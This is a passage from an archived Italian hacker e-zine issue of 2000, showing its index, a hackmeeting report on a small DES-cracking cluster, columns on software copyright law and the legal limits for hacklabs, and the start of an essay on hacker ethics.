BFi-9/0040755000000000000000000000000007204532017010366 5ustar rootrootBFi-9/BFi09-010100644000000000000000000001115007204354624011341 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 1 di 21 ]------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini eslusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questi file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita' per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. ------------------------------------------------------------------------------ -[ iNDiCE ]------------------------------------------------------------------- ---[ iNTR0 BFi09-01 01 /dev/null ---[ C0LUMNS BFi09-02 REP0RT HACKMEETiNG Di R0MA L. Noferini BFi09-03 DiRiTT0 D'AUT0RE 0 LEGGE DEL PiU' F0RTE? C. Gubitosa BFi09-04 GLi HACKLAB E LA LEGGE Andrea Monti BFi09-05 SPAGHETTi CRACKER? S. Chiccarelli BFi09-06 L0 SPETTAC0L0 DEVE C0NTiNUARE Raistlin BFi09-07 ELF QRIN iNTERViSTA THE MENTOR Elf Qrin BFi09-08 THREADS vari BFi09-09 NEWS + MAiLB0X BlackBerry & Cavallo ---[ HACKiNG BFi09-10 PEEK DELLE STRUTTURE iNTERNE DEL KERNEL pIGpEN & FuSyS BFi09-11 LiBVSK - LiBRERiE PER iL C0NTR0LL0 DEL TRAFFiC0 A vecna USERLEVEL BFi09-12 C0ME F0TTERE iL TCP/iP FiNGERPRiNTiNG Cyrax & FuSyS BFi09-13 FREEBSD: SiCUREZZA iN SiTUAZi0Ni Di MULTiUTENZA pIGpEN BFi09-14 ANTi ANTi SNiFFER PATCH vecna ---[ PHREAKiNG BFi09-15 SMS SP00FiNG Jack McKrak ---[ REVERSiNG BFi09-16 ZPPP PR0JECT Ritz BFi09-17 L.L.H.M. - L0W LEVEL HEADER MANiPULATi0N valv{0} BFi09-18 KEYGEN REVERSiNG - STUDiAM0Ci L'ALG0 syscalo ---[ MiSCELLANE0US BFi09-19 MEM0RY MANAGEMENT NEi PR0CESS0Ri i386 IN Ritz PR0TECTED M0DE BFi09-20 /DEV/MEM CR0CK ralph BFi09-21 N0V0 E DEFiNiTiV0 SNiP pIGpEN ------------------------------------------------------------------------------ -[ iNTR0 ]-------------------------------------------------------------------- ---[ 01 - SCi0PER0 cazzo. ------------------------------------------------------------------------------ -[ REDAZi0NE ]---------------------------------------------------------------- BlackBerry - Cavallo - S. Chiccarelli - |Cyrax| - Elf Qrin - FuSyS - C. Gubitosa - Jack McKrak - A. Monti - L. Noferini - pIGpEN - Raistlin - ralph - Ritz - syscalo - valv{0} - vecna -[ WEB ]---------------------------------------------------------------------- http://www.s0ftpj.org/bfi/ http://bfi.itapac.net http://www.ecn.org/zero/bfi/ -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== ---------------------------------[ EOF 1/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-020100644000000000000000000001706107204351621011343 0ustar rootroot============================================================================== ------------[ BFi numero 9, anno 3 - 03/11/2000 - file 2 di 21 ]-------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ REP0RT HACKMEETiNG Di R0MA -----[ Leandro Noferini Introduzione ============ L'HackMeeting di Roma per me (ma mi sento di affermare lo stesso anche per tutto l'HackLab di Firenze) e' stato sicuramente un momento estremamente importante per molte ragioni: - innanzitutto ricordando che la nostra esperienza nasce da una scaturita dall'HackMeeting precedente, questo appuntamento ha assunto anche l'aspetto di una specie di "compleanno" del gruppo; - inoltre venivamo da un lungo inverno a cavallo fra il 1999 e il 2000 in cui siamo stati capaci di portare avanti moltissime iniziative, tutte o quasi risultate estremamente interessanti e partecipate e c'era sicuramente la voglia di tirare un po' le fila di cio' che avevamo fatto; - infine era forte la mia curiosita' di osservare gli altri gruppi simili al nostro, per verificare similitudini e differenze e rapinare buone idee. La nostra presenza ================== Tutto questo ha determinato le caratteristiche della presenza dell'HackLab di Firenze a questo HackMeeting, caratteristiche in generale positive, ma con qualche neo. Sicuramente eravamo tanti, tantissimi: automobili, treni e camper pieni di azionisti dell'HackLab di Firenze :-))) Non solo, eravamo anche pieni di idee e progetti: moltissimi nostri azionisti hanno organizzato prima e animato poi seminari che hanno ottenuto notevole successo di interesse durante la manifestazione; molti altri invece hanno animato le segrete dello spippolamento hardcore. Un altro aspetto che mi ha colpito della presenza dell'HackLab di Firenze all'HackMeeting di Roma e' stato il fatto che alla fine ci siamo "dispersi" all'interno della manifestazione: ognuno seguiva e partecipava a cio' a cui era interessato e cosi' alla fine siamo forse risultati poco "visibili". Il ciclope ========== Questo fatto ha forse portato, forse unito ad altre contingenze, al neo a cui accennavo poco prima: il ciclope. L'idea era nata come un progetto hardware da portare in "regalo" all'HackMeeting, come dimostrazione di come sia possibile ottenere una notevole capacita' di calcolo usando computer di scarso o addirittura nessun valore e software liberamente e gratuitamente scaricabile dalla rete (l'ormai omnipresente Linux in una sua forma leggermente "degenerata") e di darne prova nella pratica con un programma scritto appositamente da un nostro azionista. Tecnicamente: un cluster e' un gruppo di computer che lavorano ad uno stesso programma, su una stessa base dati comunicando fra di loro mediante una rete. Ci sono moltissime possibilita' di realizzare una struttura del genere: nella nostra realizzazione abbiamo usato il tipo di cluster chiamato Beowulf in quanto basato sul sistema operativo Linux, gratuito e libero, ma soprattutto ben conosciuto a molto usato all'interno dell'HackLab di Firenze, su altro software libero e su hardware molto economico, praticamente solo personal e schede di rete ethernet. Nel nostro caso l'hardware era composto principalmente da vecchi computer (cinque in tutto) con svariate distribuzioni installate (non mi sparate, ma quella che si e' comportata meglio in questo frangente e' stata sicuramente Debian), collegati in rete ethernet con cavo bnc. In ogni computer (che diventano i computer schiavi) di questa rete locale devono girare alcuni programmi che danno i risultati dei calcoli ad un computer che diventa il master e che riunisce i dati nel risultato finale. Anche per realizzare questa parallelizzazione ci sono molti modi differenti: quello da noi scelto e' stato il Parallel Virtual Machine, PVM per gli amici, che comporta la presenza di un apposito demone in ogni computer del cluster (indovinate un po', chiamato pvmd) e soprattutto software applicativo scritto appositamente. Come la mia ben scarna spiegazione vorrebbe far riuscire ad intuire, questo tipo di architettura e' molto utile in compiti in cui ci sono in gioco notevoli quantita' di calcoli bruti e nei quali sia possibile parcellizzare il lavoro: come giustamente sta scritto nel Beowulf-HOWTO (casualmente tradotto ad opera di alcuni dell'HackLab di Firenze proprio per questa occasione) servirebbe a ben poco per, ad esempio, realizzare un server web e cose del genere. Per dare prova effettiva di cio' che e' in grado di fare e' stato scritto da un nostro azionista un software che, sfruttando questa magnificenza, riusciva a craccare chiavi DES (piccole, non vi eccitate) in tempi ragionevoli. Tornando all'HackMeeting in verita' cos'e' successo o meglio cosa siamo riusciti ad ottenere? Fondamentalmente tutto, ma non nel modo piu' facile e diretto e questo perche' (cominciano le scuse alla maestra): - siamo arrivati al momento dell'HackMeeting senza praticamente aver mai provato il ciclope a casina, e su questo niente da eccepire, visto che l'HackMeeting e' sempre stato un ottimo momento per spippolare (pensavo di poter studiare a scuola); - una notevole sfortuna ci ha fatti arrivare a Roma con molti computer del cluster in condizioni abbastanza pietose (ieri, tornando a casa, una vespa mi e' entrata nell'occhio mentre ero in bicicletta e sono dovuto rimanere al buio tutto il giorno); - arrivati la', oltretutto, molti di quelli che all'inizio avevano partecipato al progetto hanno un po' ringambato, dimostrando effettivamente poca voglia di stare poi effettivamente a spippolare preferendo seguire seminari, salutare gente, bere, fumare, prosaicamente farsi i cazzi propri (ehm, uhm...). Alla fine solo grazie alla perseveranza di pochi il ciclope e' riuscito a prendere vita (sia pure in forma molto ridotta rispetto ai progetti iniziali) e a far vedere cio' che era capace di fare ai (pochi) interessati: craccava chiavi (di cui non ricordo la dimensione adesso, comunque molto piccole) come un ciclope! Ma qual'era il senso di questa cosa, o per lo meno, quale voleva essere? Effettivamente la capacita' di calcolo che siamo riusciti a "radunare" (anche nella migliore delle ipotesi di tutti e cinque i computer funzionanti), era sempre ben lontana da un qualunque nuovo Pentium o ancora peggio G4. Inoltre la craccatura delle chiavi DES e' una cosa ormai gia' appurata (fra l'altro usando una struttura simile ad un Beowulf, se non sbaglio) e quindi non speravamo di fare o dimostrare chissa' cosa. Volevamo semplicemente dimostrare che e' possibile fare una cosa del genere, usando software rintracciabile tranquillamente in rete e hardware normalissimo. Alla fine devo dire che, almeno per quanto mi riguarda, la dimostrazione ha avuto ampiamente successo, il che apre molte altre considerazioni, come ad esempio: se questa cosa e' riuscita all'HackLab di Firenze, cosa puo' riuscire a chi ha ben altri mezzi e motivazioni? E se noi siamo riusciti a fare quello che abbiamo fatto su chiavi "semplici" come quelle in DES, non viene il dubbio che con altri mezzi si possa ottenere qualcosa che supponiamo (o ci vogliono far supporre) "impossibile" per necessita' di potenze di calcolo "irraggiungibili"? Una volta Luc Pac mi disse: "Gli hackers sono paranoici e fanno bene ad esserlo". ============================================================================== --------------------------------[ EOF 2/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-030100644000000000000000000003477207204351661011360 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 03 di 21 ]------------ ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ DiRiTT0 D'AUT0RE 0 LEGGE DEL PiU' F0RTE? -----[ Carlo Gubitosa DIRITTO D'AUTORE O LEGGE DEL PIU' FORTE ? Storia del diritto d'autore sul software. In seguito alle forti pressioni della lobby dei produttori di software, le modifiche alla legge sul diritto d'autore, approvate dal Parlamento il 26 luglio, hanno introdotto nuove misure repressive contro la copia ad uso personale del software, equiparata alla duplicazione di massa e al commercio abusivo di programmi, e punita con gli stessi anni di galera riservati ai contrabbandieri di software pirata. Con queste nuove modifiche, la legge sul diritto d'autore si trasforma in uno strumento irragionevolmente repressivo che ha il chiaro obiettivo di tutelare gli interessi economici di Bill Gates e degli altri "padroni del software", in aperto contrasto con il principio di proporzionalita' tra reato commesso e condanna subita. Di Carlo Gubitosa In Italia il diritto d'autore e' regolato dalla legge 633 del 1941, modificata a piu' riprese per includere anche i programmi software nella lista delle "opere dell'ingegno" tutelate contro le possibili violazioni del "copyright". Il 23 dicembre 1992 il decreto legislativo 518/92 ha introdotto una prima modifica alla legge 633/41. Anziche' estendere ai programmi le stesse regole valide per le altre opere dell'ingegno, il decreto ha riservato al software un trattamento particolare, che punisce i "pirati di programmi" in maniera molto piu' dura di quanto non si faccia con i pirati di musica o di libri. Dietro questo "trattamento speciale", riservato unicamente alla copia del software, molti esperti di informatica e giuristi hanno individuato le pressioni esercitate dalle grandi case produttrici di software per far approvare, a tutela dei loro interessi, una legge particolarmente punitiva contro la copia dei programmi per elaboratore. In merito alle pressioni esercitate dalla lobby del software per l'approvazione del decreto 518/92 si sono espressi anche Renzo Ristuccia e Vincenzo Zeno Zencovich, in un testo dal titolo "Il software nella dottrina, nella giurisprudenza e nel D.LGS. 518/92", edito dalla Cedam di Padova nel 1993. In questo testo si legge come la rapidita' di approvazione del decreto "[...] fa ritenere che sicuramente il testo del decreto legislativo fosse da tempo pronto e che attraverso la delega al governo si sia tagliato corto al dibattito parlamentare, evitando persino il parere delle Commissioni competenti, non previsto dalla legge delega. Il metodo e' certamente singolare e discutibile anche sotto altri profili. [...] Il decreto chiude per l'Italia un dibattito ventennale sulla tutela giuridica dei programmi per elaboratore elettronico. E' stato un dibattito condotto con toni insolitamente accesi e che ha visto gli operatori del diritto anteporre, forse piu' del lecito, gli interessi di una categoria imprenditoriale all'analisi razionale degli strumenti giuridici utilizzabili." Lo "strumento punitivo" nascosto tra le righe del decreto legislativo 518/92 e' l'aggiunta di un piccolo articolo, il 171 bis, un articolo modificato il 26 luglio del 2000 in senso ancor piu' repressivo, senza che in Parlamento o sui mezzi di informazione ci sia stato un dibattito serio su una questione cosi' delicata come la copia personale del software. Prima della modifica del luglio scorso, l'articolo 171 bis recitava testualmente che: "Chiunque abusivamente duplica A FINI DI LUCRO programmi per elaboratore, o, ai medesimi fini e sapendo o avendo motivo di sapere che si tratta di copie non autorizzate, importa, distribuisce, vende, detiene a scopo commerciale, o concede in locazione i medesimi programmi, e' soggetto alla pena della RECLUSIONE da TRE MESI a TRE ANNI e della MULTA da L. 500.000 a L. 6.000.000." In base all'articolo 171bis, ad esempio, Giovanni Pugliese, segretario dell'associazione pacifista PeaceLink, e' stato processato come "importatore, venditore e distributore di programmi a scopo commerciale" per la semplice presenza nel suo computer di una copia (gia' installata) del programma Word 6 di Microsoft, evidentemente adibita ad uso personale e dell'associazione. Al termine di un iter giudiziario iniziato nel 1994 e terminato nel 2000, Giovanni Pugliese e' stato dichiarato innocente. Per presunte violazioni (peraltro mai dimostrate) dell'articolo 171 bis, nel maggio 1994 centinaia di nodi della telematica sociale italiana sono stati oscurati, con una inutile catena di sequestri e processi (la piu' grande operazione di polizia informatica della storia dell'umanita') che si e' conclusa con un nulla di fatto e ha avuto solamente un effetto intimidatorio contro la copia ad uso personale de software. Tutti i dettagli di questa "spedizione punitiva" contro la telematica sociale di base sono contenuti nel libro "Italian Crackdown", disponibile in libreria e anche in rete, all'indirizzo www.apogeonline.com/openpress. Aggrappandosi all'articolo 171 bis si e' cercato di dimostrare il "fine di lucro" insito nella copia ad uso personale dei programmi, per molti versi analoga alla copia di musica ad uso personale (pratica sociale ormai accettata e diffusa). In seguito all'approvazione delle prime modifiche alla legge 633/41, alcuni magistrati piu' illuminati hanno fatto le necessarie distinzioni tra copia ad uso personale e commercio su larga scala di software pirata, tra "scopo di lucro" e semplice profitto. Le nuove modifiche alla legge sul diritto d'autore sono nate proprio per contrastare questo orientamento giurisprudenziale. La piu' famosa di queste sentenze e' quella del 26 novembre 1996, emessa dalla pretura circondariale di Cagliari: copiare software non e' reato, almeno per quanto riguarda il caso esaminato dal giudice Massimo Deplano. Nella sentenza si legge che "La duplicazione e la detenzione acquistano rilievo penale in tanto in quanto siano finalizzate rispettivamente al lucro ed alla commercializzazione. Tali condotte sono pertanto sanzionate solo se sorrette dal dolo specifico indicato. In particolare deve ritenersi che, di per se', la duplicazione del programma non solo non assurge in alcun modo a fatto penalmente rilevante, ma e' senza dubbio consentita dalla normativa attuale in tema di diritto d'autore". Deplano sostiene questa affermazione con argomenti ben precisi: "Cio' si ricava [...] dall'articolo 68 della L. 633/1941 che permette, ed anzi indica come libera la riproduzione di singole opere o loro parti per uso personale dei lettori (rectius fruitori) con il limite del divieto di spaccio al pubblico di tali beni onde logicamente evitare la lesione dei diritti di utilizzazione economica spettanti al titolare del diritto sull'opera. Si puo' pertanto escludere che violi la fattispecie citata il soggetto, pubblico o privato che detenga per utilizzarla una copia abusivamente duplicata del programma. L'elemento che rende invece penalmente illecita la duplicazione e' dato dal fine di lucro, dalla volonta' diretta specificamente a lucrare dalla riproduzione. Deve infatti garantirsi al titolare dei diritti sull'opera il vantaggio esclusivo di mettere in commercio il programma, e quindi di lucrarvi senza dover patire e subire danni da illecite concorrenze". E' interessante anche leggere il parere del magistrato riguardo alla differenza tra lucro e profitto: "Invero il fine di lucro connota tutte le fattispecie focalizzate dall'art. 171 bis, ma il suo significato dev'essere chiarito. Il termine lucro indica esclusivamente un guadagno patrimoniale ossia un accrescimento patrimoniale consistente nell'acquisizione di uno o piu' beni; esso non coincide in linea di principio con il termine profitto, che ha un significato ben piu' ampio. Il profitto puo' implicare sia il lucro: quindi l'accrescimento effettivo della sfera patrimoniale, che la mancata perdita patrimoniale ossia il depauperamento dei beni di un soggetto. In altri termini nel profitto puo' rientrare anche la mancata spesa che un soggetto dovrebbe, per ipotesi, affrontare per ottenere un bene. Il lucro costituisce solo ed esclusivamente l'accrescimento positivo del patrimonio; il profitto anche la sola non diminuzione dello stesso". Proprio a causa di queste doverose distinzioni tra "lucro" e "profitto" che avevano aperto una possibile breccia per la depenalizzazione della copia ad uso personale del software, ancora una volta la lobby dell'informatica ha utilizzato tutto il potere a sua disposizione per modificare le norme sul diritto d'autore in direzione contraria all'orientamento espresso dagli stessi magistrati. Nella nuova versione dell'articolo 171 bis, infatti le parole "a scopo di lucro" sono state sostituite con la frase "per trarre profitto". In pratica dal 26 luglio del 2000 anche chi trae profitto dalla copia singola di un programma, cioe' chi risparmia i soldi necessari per comprarlo, va punito con la stessa durezza riservata a chi copia programmi a scopo di lucro, per rivenderli clandestinamente e guadagnarci. Nessuno si sognerebbe di dare da sei mesi a sei anni di galera per aver copiato un CD musicale di un nostro amico che vogliamo ascoltare con calma a casa nostra. I "programmi per elaboratore", invece, godono di un trattamento diverso, e la loro copia ad uso personale e' criminalizzata e perseguita dalla legge con gli stessi strumenti legislativi, gli stessi milioni di multa e gli stessi anni di reclusione che si utilizzano per chi vende in modo sistematico e professionale copie non autorizzate di software coperto da copyright, attraverso una rete commerciale di distribuzione clandestina. Con le modifiche del luglio 2000 apportate alla legge sul diritto d'autore, la punizione riservata per la copia del software ad uso personale va da sei mesi a sei anni di carcere, pene analoghe a quelle riservate in caso di omicidio colposo plurimo, che puo' essere punito con sei mesi di reclusione. Ancora una volta un tema fondamentale come il diritto d'autore sul software viene regolato in base agli interessi e alle pressioni lobbistiche di una categoria imprenditoriale, anziche' in base alla volonta' popolare e democratica che dovrebbe essere il fondamento di qualsiasi legge. In un articolo apparso il 28 luglio 2000 sulla rivista elettronica "Punto Informatico" (www.punto-informatico.it), Massimo Mantellini ha duramente commentato le nuove dispozioni in materia di diritto d'autore sul software, affermando che "e' difficile non vedere in trasparenza la lunga mano degli industriali del software su una serie di atteggiamenti che la legge ispira, primi fra tutti quello di porre molta attenzione alla condanna pubblica, su giornali e mezzi di informazione specializzati, dei pirati o quello di destinare ad iniziative informative antipirateria il 50% di quanto viene sequestrato. Per non parlare della costituzione di un registro presso la Questura di quanti lavorino con materiale protetto da copyright. Una vera e propria azione di controllo degna di un regime sudamericano." Anche l'avvocato Andrea Monti, presidente di Alcei (www.alcei.it), L'Associazione per la Liberta' nella Comunicazione Elettronica Interattiva, ha espresso un parere seccamente contrario alla nuova normativa. Secondo Monti "e' evidente che la legge in questione non e' stata concepita sulla base del diritto, ma delle pressioni di potenti gruppi che considerano il diritto d'autore come 'cosa loro'". Oltre all'inasprimento delle pene riservate a chi copia software per uso personale, la nuova legge sul diritto d'autore contiene anche molti altri aspetti controversi. Ad esempio la perseguibilita' d'ufficio dei fatti di duplicazione abusiva rischia di aggravare la situazione degli uffici giudiziari penali, gia' oberati di procedimenti da smaltire. Inoltre l'ampliamento dei poteri della SIAE previsto dalla nuova legge avra' gravi ripercussioni su tutti gli autori e i programmatori che sceglieranno di non iscriversi a questa societa' o che non vorranno apporre il "Bollino Siae" sulle loro opere. Di fronte a questo nuovo pasticcio legislativo che ci ha colto di sorpresa sotto l'ombrellone, rimane ben poco da fare. Una possibile alternativa e' quella di mettere in atto una forma di boicottaggio del software commerciale utilizzando solo programmi e sistemi operativi liberi, come ad esempio il sistema operativo Linux e la suite di programmi per ufficio "Staroffice", in alternativa ai programmi prodotti dai "signori del software". Un'altra possibilita', alla vigilia delle prossime elezioni, e' quella di chiedere al candidato del nostro collegio elettorale dov'era quando e' stata approvata la riforma sul diritto d'autore. Probabilmente l'accordo con i grandi poteri economici dei giganti del software, giudicato strategico alla vigilia di una scadenza elettorale, potra' trasformarsi in un boomerang che tornera' indietro a colpire proprio quella classe politica che credeva di trarre vantaggio dal sostegno indiscriminato a un forte gruppo di potere e alle bieche misure repressive che tutelano gli interessi di questo gruppo. A tempo debito tutti i nodi vengono al pettine, e l'imminente scadenza elettorale potra' essere un'ottima occasione per chiedere a chi vorra' rappresentarci in Parlamento di esprimersi in merito a una legge che tutela gli interessi delle grandi case produttrici di software, ma non i diritti delle singole persone, e punisce con la carcerazione la copia dei programmi, anche se fatta senza scopi commerciali o criminali, ad uso personale, ad uso didattico, a beneficio di associazioni, gruppi di volontariato, organizzazioni non governative, scuole. E' tempo che la copia ad uso personale dei programmi, che nulla ha a che vedere con la cosiddetta "pirateria informatica", esca dalla clandestinita' e cessi di essere criminalizzata. E' tempo di legalizzare e accettare la copia ad uso personale, pratica sociale che affonda le sue radici nella storia dell'informatica, come una naturale evoluzione della tecnologia e dei comportamenti sociali. Il lavoro dei programmatori non si tutela mandando in galera altre persone, ma creando le condizioni affinche' il mondo dell'informatica non sia piu' dominato da nessun monopolio di fatto che limiti la liberta' di iniziativa nella programmazione. Carlo Gubitosa ============================================================================== ---------------------------------[ EOF 3/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-040100644000000000000000000000667007204351712011352 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 4 di 2 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ GLi HACKLAB E LA LEGGE -----[ Andrea Monti Anche in Italia - sulla base delle esperienze americane e tedesche in particolare - fioriscono sempre piu' numerosi gli HackLab, cioe' dei luoghi dove gli smanettoni si incontrano per scambiarsi esperienze e informazioni sul mondo della programmazione e della sicurezza. Vista la delicatezza degli argomenti - bug, exploit e via discorrendo - e le conseguenze derivanti da un uso "incosciente" di certi strumenti e' abbastanza normale per chi li frequenta domandarsi quali regole seguire per non violare, magari senza volerlo, le complesse normative che regolano il settore della sicurezza. Cominciamo dall'inizio: la Costituzione protegge la liberta' di insegnamento di arti e scienze, il diritto di riunione e quello all'inviolabilita' del domicilio, oltre che la liberta' di pensiero e di parola. Nello specifico, nessuna legge vieta di occuparsi di sicurezza e programmazione, quindi le attivita' collegate a questo settore sono, fino a prova contraria, del tutto legali. Se tutto questo e' vero, e' altrettanto vero che bisogna essere molto scrupolosi nel modo di gestire una struttura tipo HackLab, evitando di commettere azioni a danno di terze parti senza il loro consenso. In pratica, per fare un esempio, sarebbe certamente illegale lanciare un DoS contro una macchina altrui per "provare che effetto fa" a meno di non essere specificamente autorizzati (meglio per iscritto). Per quanto riguarda la detenzione di password, virus e "crack" vari (reati, secondo la L.547/93 e quella sul diritto d'autore) bisogna specificare che se questi oggetti sono finalizzati esclusivamente allo studio dovrebbe (il condizionale e' d'obbligo) essere possibile utilizzarli. La cosa fondamentale e' evitarne qualsiasi impiego commerciale come vendere liste di account, diffondere crack in formato eseguibile (un appassionato di sicurezza ha solo bisogno del codice per studiarlo e imparare. Se gli serve l'eseguibile, probabilmente vuole soltanto evitare di pagare una licenza d'uso e non e' un esperto). Altro discorso riguarda il software. Difficilmente un HackLab si trovera' ad usare software proprietario, e dunque problemi di copyright non dovrebbero verificarsi. I sistemi Open Source non creano infatti particolari difficolta' riguardo alla copia e ridistribuzioni essendo per legge liberamente riproducibili. Attenzione pero' alle modifiche dei programmi, perche' la GPL e le altre licenze OS prevedono obblighi precisi in questo senso. Per quanto riguarda la "sede fisica" dove si svolgono le manifestazioni o gli incontri, di regola questa e' qualficabile come "domicilio privato" e quindi per accedervi da parte della pubblica autorita' e' necessario un provvedimento della magistratura. Ovviamente le problematiche giuridiche legate a strutture come l'HackLab non si esauriscono certamente in queste righe, ma se scrivo tutto adesso, la prossima volta come faccio? :) ============================================================================== ---------------------------------[ EOF 4/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-050100644000000000000000000002417007204351734011352 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 5 di 21 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ SPAGHETTi CRACKER? -----[ Stefano Chiccarelli 26/06/2000 di ritorno dall'hm00 Dal momento in cui e' uscito Spaghetti Hacker non ho mai piu' scritto qualcosa di "pubblico" sull'argomento, ma in seguito al dibattito organizzato all'Hackmeeting 2000 "Seminario sull'etica hacker" moderato da T.H.E. Walrus, mi e' tornata una certa voglia di scrivere. E quale mezzo migliore per raggiungere la "scena italiana" (la definiamo cosi'?), se non BFi :) Dal 1997 anno in cui ho finito di scrivere il libro ad oggi ne sono successe veramente tante di cose. L'hack-it, BFi, gli exploit italiani, i giornali, l'e-commerce, le televisioni, i newbies e i nuovi gruppi (le 'crew'), le zine nate e morte, dislessici, s0ftpj, sikurezza.org, l'open source e le aziende open source italiane, il Costanzo show :), i DDoS... Ci sarebbe quasi il materiale per un altro libro. Signori miei, la situazione italiana e' cambiata. Moltissimo. Migliorata per alcuni versi e peggiorata per altri. I molti "nuovi" che si avvicinano all'argomento con una voglia piu' che legittima di imparare, rimangono imbrigliati nella logica di imparare solo a "bucare" con una ormai comune smania compulsiva di entrare e cambiare qualche home page. Questo lo possiamo considerare come parte del gioco, ma nello stesso tempo e' un gioco che rischia di spostare l'interesse di molte persone di talento dalle pratiche che personalmente ritengo piu' proficue per la 'cultura' hacker: la programmazione open source, il debuging dei SO, la stesura di documentazione pubblica, l'impegno a fare un'informazione piu' adatta a spiegare al grande pubblico cos'e' la cultura hacker. Tutti hanno avuto i loro periodi di "fase notte" in cui si buca di continuo e in effetti e' un momento di transizione importante che molti smanettoni italiani passano o hanno passato. Bucare... nuova cyberdrug per arrivare al "nirvana digitale" nel momento in cui il $ diventa #... Questa sensazione la conosciamo e la capiamo benissimo e non la condanniamo affatto, ma non possiamo fermarci qui, non piu'. Il cammino nel mondo dell'hacking per alcuni si potrebbe schematizzare in alcuni passaggi fondamentali: 1) vorrei ma non posso 2) conosco il mio "mentore" 3) imparo le tecniche e dove reperire 'sploit 4) buco buco buco 5) mi cago sotto per una situazione "delicata" 6) ribuco ribuco ribuco 7) che faccio?? ----> torno al punto 6 /* e qui il loop e' pericolosissimo */ 8) studio/programmo/studio/programmo 9) da qui in poi il talento fa la differenza :) -> Trovo un BUG e pubblico un exploit e divento famoso -> Lavoro nella sicurezza -> Mi aggancio ad un progetto open source esistente -> Lancio un mio progetto open source -> Inizio a non chiamarmi piu' "3l33t3 massacrator" ma Mario Rossi Molti si loopano al punto 7 e ripetono i soliti comportamenti all'infinito rischiando un segmentation fault :) Quando accade questo la situazione diventa preoccupante ed insieme al cervello dello sfortunato si freeza anche una pedina della scena hacker italiana che non progredisce come potrebbe. (NdR; non per tutti e' cosi', molti iniziano direttamente dal punto 8 per nostra fortuna). Inutile negare o sottolineare che siamo abbastanza indietro rispetto ad altri paesi e stiamo facendo un grande sforzo per rimetterci in linea. Ma se si disperdono tutte queste energie rimanendo nel famigerato loop (e questo sta accadendo a molti)? Semplicemente si rischia di rimanere una nazione di cracker che non produce nessun effetto sulla cultura "normale". L'influenza della cultura hacker nella cultura informatica "classica" non e' mai stata tanto forte come in questi ultimi due anni e noi, ripeto, non possiamo rimanere fermi ad osservare questo fenomeno. Ma veniamo all'argomento principale di questo articolo, la discussione sull'etica hacker avvenuta al Forte. T.H.E. Warlus ha portato come "testo base" lo jargon file (ottima scelta :) e in un passaggio si e' discusso di quanto segue: --- snip --- [tratto da jargon file, http://www.tuxedo.org/~esr/jargon/] hacker ethic n. 1. The belief that information-sharing is a powerful positive good, and that it is an ethical duty of hackers to share their expertise by writing open-source and facilitating access to information and to computing resources wherever possible. 2. The belief that system-cracking for fun and exploration is ethically OK as long as the cracker commits no theft, vandalism, or breach of confidentiality. --- snip --- Questo frammento che nello jargon file si trova immediatamente dopo questi due punti dell'etica, suppongo non sia stato riportato per motivi di spazio, ma e' MOLTO esplicativo di quanto andro' a discutere nell'articolo. --- snip --- [tratto da jargon file, http://www.tuxedo.org/~esr/jargon/] Both of these normative ethical principles are widely, but by no means universally, accepted among hackers. Most hackers subscribe to the hacker ethic in sense 1, and many act on it by writing and giving away open-source software. A few go further and assert that all information should be free and any proprietary control of it is bad; this is the philosophy behind the GNU project. Sense 2 is more controversial: some people consider the act of cracking itself to be unethical, like breaking and entering. But the belief that `ethical' cracking excludes destruction at least moderates the behavior of people who see themselves as `benign' crackers (see also samurai). On this view, it may be one of the highest forms of 